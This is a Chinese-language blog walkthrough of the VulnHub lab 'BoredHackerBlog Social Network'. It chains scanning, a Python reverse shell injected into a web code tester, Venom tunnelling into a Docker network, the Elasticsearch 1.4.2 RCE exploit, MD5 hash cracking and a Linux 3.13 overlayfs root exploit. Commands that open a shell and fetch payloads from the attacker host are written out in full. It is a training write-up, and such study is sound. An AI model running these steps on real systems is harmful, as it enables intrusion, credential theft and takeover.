红队打靶之VulnHub_BOREDHACKERBLOG_SOCIAL_NETWORK

红队

Created At : 2024-06-17 21:52

Views 👀 :

VulnHub_BOREDHACKERBLOG_SOCIAL_NETWORK
主机发现
端口扫描
服务发现
路径爬取
代码注入
内网信息收集
内网穿透
后渗透

靶机地址：https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

这是本系列的第一次打靶，我选择了一个中等难度的靶机。在这次打靶过程中，我们将使用到以下攻击手段：

主机发现

进入root

用 arp-scan -l

端口扫描

nmap -Pn 192.168.56.106

发现开放了22 和5000 端口

服务发现

nmap -p-22 -sV 192.168.56.106

路径爬取

dirsearch -u http://192.168.56.106:5000 扫一下web 应用隐藏的页面

访问一下

代码注入

他说测试代码先监听一下4444端口 nc -nvlp 4444

运行一下代码

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("192.168.56.10",4444))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

成功并发现是docker环境并且是root权限

cat /proc/1/cgroup

是docker环境

输入 ip a 看一下环境

app # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

发现内网网段

内网信息收集

使用for i in $(seq 1 20); do ping -c 1 172.17.0.$i; done命令看内网存活主机，172.17.0.1-3为开放主机：

内网穿透

将Venom工具文件夹下的admin.exe发送到目标主机

在Venom工具文件夹下开启http服务在他们俩个之间建立隧道

1	python3 -m http.server 80

在目标dockers环境中 wget http://192.168.56.10/agent_linux_x64

./admin_linux_x64 -lport 9999 在攻击者主机下监听9999端口

在docker环境中运行

1 2	chmod +x agent_linux_x64#改下权限 ./agent_linux_x64 -rhost 192.168.56.10 -rport 9999

后渗透

sudo vi /etc/proxychains4.conf最后一行加上

1	socks5 127.0.0.1 1080

扫描内网

proxychains nmap -Pn -sT 172.17.0.1

判断说明172.17.0.1是面向容器的主机

1	proxychains nmap -Pn -sT 172.17.0.2

扫一下版本

发现是9200端口上是Elasticsearch服务，且版本是1.4.2

漏洞利用

Elasticsearch漏洞利用

Elasticsearch在历史版本上曾出现过几次验证漏洞，有RCE远程代码执行漏洞。

所以我们尝试在kali上搜索有没有Elasticsearch相关exp

发现两个RCE远程代码执行漏洞，我们先尝试第一个。

将脚本拷贝至当前目录

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

vi 36337.py  # 查看一下
 
proxychains python2 36337.py 172.17.0.2  # 执行

cat passwords # 查看密码

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:9200  ...  OK
Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
Example: 1234abcd
john:3f8184a7343664553fcb5337a3138814 
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b

md5解密

最终破解得到的明文密码如下：

john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane

密码利用

只有john可以登录

1	ssh john@10.0.2.5

成功登陆，id查看当前用户权限为普通用户

漏洞发现

sudo -s

利用本地提权，结合之前得到的信息该靶机内核Linux 3.13，那么这样的老版本是否可能存在内核漏洞？

1	searchsploit linux 3.13

选取一个exp

拷贝到本地

1
2
3

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

查看文件

1	vi 37292.c

从代码中可以看到，要执行它的话，先要用gcc编译后才可执行

在靶机端查看是否存在gcc

gcc

没有gcc

所以是否可以在Kali本机上先对其进行编译

分析代码

定义了变量lib，变量调用system函数来执行系统命令，命令中再次调用了gcc，去查找到另外一个C语言库文件ofs-lib.c，把该库文件再编译成对应的ofs-lib.so文件（二进制共享库文件），且在整个代码过程中，会加载调用编译后的ofs-lib.so.so文件

得到：即使在Kali端使用gcc编译该文件，上传到目标靶机上执行时，执行过程仍然会调用gcc编译后的ofs-lib.so.so文件，仍然会报错。

解决办法：修改源代码，删除调用库文件的代码

删除后代码为下图

1	gcc -o exp 37292.c

报错不影响

配合exp执行使用还需要二进制的库文件ofs-lib.so，定位查找该文件路径

1	locate ofs-lib.so

拷贝至当前目录

1
2
3

cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

一并被下载到目标宿主机上，启动http服务

1	python3 -m http.server 80

1
2
3

wget http://192.168.56.10/exp
wget http://192.168.56.10/ofs-lib.so  
也可以curl -O http://192.168.56.10/ofs-lib.so

更改权限后 chmod +x exp

运行./exp

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论，也可以邮件至 jaytp@qq.com